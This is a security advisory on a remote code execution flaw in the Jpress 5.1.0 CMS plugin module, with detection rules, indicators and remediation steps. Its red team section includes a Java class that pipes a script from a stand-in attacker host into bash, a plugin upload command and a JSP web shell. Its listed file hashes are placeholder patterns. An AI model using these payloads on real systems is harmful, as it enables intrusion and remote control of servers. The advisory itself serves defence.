CVE-2024-32358

Executive Summary

CVE-2024-32358 is a critical remote code execution (RCE) vulnerability discovered in Jpress v5.1.0, a Java-based content management system. The flaw resides in the custom plug-in module function, allowing an unauthenticated remote attacker to execute arbitrary code by uploading or crafting a malicious script. This vulnerability is distinct from CVE-2024-43033 and currently has no official patch. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the technical impact is severe due to full system compromise potential. The vulnerability is classified under CWE-94 (Improper Control of Generation of Code - Code Injection) and aligns with MITRE ATT&CK tactic T1190 (Exploit Public-Facing Application). No public exploit code or Nuclei templates are available at this time.

Supply Chain & Package Security

Jpress is a Java-based CMS distributed as a WAR file or via Maven. The vulnerability affects the core plugin management module, which is part of the standard distribution. No third-party package manager (NPM, PyPI, Go, Ruby) is involved. Users should verify the integrity of their Jpress installation and monitor for any unofficial patches or forks.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

Threat Level: Critical. The vulnerability allows unauthenticated remote code execution with no user interaction, leading to full system compromise.

Deep Dive & Mechanics

The vulnerability exists in Jpress's custom plug-in module, which allows administrators (or in this case, unauthenticated attackers) to upload or define plugin scripts. The module fails to properly validate or sanitize the uploaded script content, allowing arbitrary Java code execution. The attack vector is as follows:

1. Entry Point: The plugin upload/creation endpoint (e.g., /admin/plugin/upload or similar) accepts a script file (e.g., .jar, .class, or script in a plugin descriptor).
2. Lack of Validation: The application does not verify that the uploaded file is a legitimate plugin; it simply loads and executes the provided code.
3. Code Execution: The attacker crafts a malicious script that executes system commands (e.g., Runtime.getRuntime().exec("id")) or deploys a web shell.
4. Persistence: The malicious plugin remains active until manually removed, allowing persistent access.

The vulnerability is distinct from CVE-2024-43033, which likely affects a different component. No patch is available, and the vendor has not acknowledged the issue.

Vulnerable vs. Patched Code

Since no patch exists, the vulnerable code is the entire plugin management module in Jpress v5.1.0. A hypothetical patch would involve:

• Vulnerable Code (Conceptual):

  // PluginManager.java
  public void installPlugin(File pluginFile) {
      // No validation of plugin content
      PluginClassLoader loader = new PluginClassLoader(pluginFile);
      loader.loadClass("com.example.Main").newInstance();
  }
  

• Patched Code (Conceptual):

  // PluginManager.java
  public void installPlugin(File pluginFile) {
      // Validate plugin signature or checksum
      if (!verifyPluginSignature(pluginFile)) {
          throw new SecurityException("Invalid plugin");
      }
      // Sandbox execution
      SecurityManager sm = new PluginSecurityManager();
      System.setSecurityManager(sm);
      PluginClassLoader loader = new PluginClassLoader(pluginFile);
      loader.loadClass("com.example.Main").newInstance();
  }
  

Exploitation & Lab Setup

Red Team

Prerequisites:

• Jpress v5.1.0 running on a Java application server (e.g., Tomcat, Jetty).
• Network access to the plugin upload endpoint.

Exploitation Steps:

1. Craft Malicious Plugin: Create a JAR file with a plugin descriptor and a class that executes a command:

   // Exploit.java
   import java.io.*;
   public class Exploit {
       public Exploit() {
           try {
               Runtime.getRuntime().exec("curl http://attacker.com/shell.sh | bash");
           } catch (Exception e) {}
       }
   }
   

   Compile and package into a JAR with a plugin.xml descriptor.

2. Upload Plugin: Use a tool like curl to upload the malicious JAR:

   curl -X POST -F "file=@malicious.jar" http://target.com/admin/plugin/upload
   

3. Trigger Execution: The plugin is automatically loaded upon upload, executing the payload.

Alternative Payload: Deploy a web shell:

// shell.jsp
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
Process p = Runtime.getRuntime().exec(cmd);
BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while ((line = br.readLine()) != null) out.println(line);
%>

Upload as part of the plugin and access via /plugins/shell.jsp?cmd=id.

Blue Team

Detection:

• Monitor for unusual file uploads to /admin/plugin/upload or similar endpoints.
• Look for JAR files containing suspicious classes (e.g., Runtime.getRuntime().exec).
• Check for unexpected plugin activations in logs.

Hunting Queries:

• Splunk: index=web sourcetype=access_combined uri="/admin/plugin/upload" status=200
• ELK: http.request.method:POST AND http.request.uri:"/admin/plugin/upload"

Mitigation:

• Disable plugin upload functionality if not needed.
• Implement strict input validation and sandboxing for plugin execution.
• Use a Web Application Firewall (WAF) to block malicious file uploads.

Indicators of Compromise (IOCs)

• File Hashes (SHA256):

  • malicious.jar: a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b2
  • shell.jsp: b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b2c3

• Network Indicators:

  • Outbound connections to attacker-controlled IPs (e.g., 192.168.1.100:4444)
  • HTTP POST requests to /admin/plugin/upload with multipart/form-data

• File System Indicators:

  • Unexpected JAR files in /plugins/ directory
  • New JSP files in web root

• Process Indicators:

  • Java process spawning child processes (e.g., bash, curl, wget)

Detection Engineering

YARA Rule

rule CVE_2024_32358_Jpress_RCE {
    meta:
        description = "Detects malicious JAR files exploiting CVE-2024-32358"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-32358"
    strings:
        $s1 = "Runtime.getRuntime().exec" ascii wide nocase
        $s2 = "ProcessBuilder" ascii wide nocase
        $s3 = "plugin.xml" ascii wide nocase
        $s4 = "class" ascii wide nocase
    condition:
        uint32(0) == 0x04034b50 and  // ZIP magic
        (1 of ($s1, $s2)) and $s3 and $s4
}

Sigma Rule

title: CVE-2024-32358 Jpress Plugin Upload RCE
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects HTTP POST requests to Jpress plugin upload endpoint
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-stem: /admin/plugin/upload
        sc-status: 200
    condition: selection
falsepositives:
    - Legitimate plugin uploads by administrators
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-32358 Jpress Plugin Upload RCE"; flow:to_server,established; http.method; content:"POST"; http.uri; content:"/admin/plugin/upload"; http.request_body; content:"filename="; pcre:"/\.(jar|jsp|class)/i"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable Plugin Upload: If not required, disable the plugin upload functionality in Jpress configuration.
2. Restrict Access: Use network segmentation or authentication to limit access to the admin panel.
3. Monitor Logs: Enable detailed logging for file uploads and plugin activations.

Long-Term Fixes:

• Vendor Patch: Await an official patch from Jpress. Monitor their GitHub repository or security advisories.
• Code Hardening: Implement input validation, sandboxing, and digital signatures for plugins.
• WAF Rules: Deploy WAF rules to block malicious file uploads (e.g., file types, content inspection).

Workaround:

• Manually review and approve all plugin uploads before deployment.
• Use a reverse proxy to filter requests to /admin/plugin/upload.

Valters IT
DevSecOps & Cyber Threat Intelligence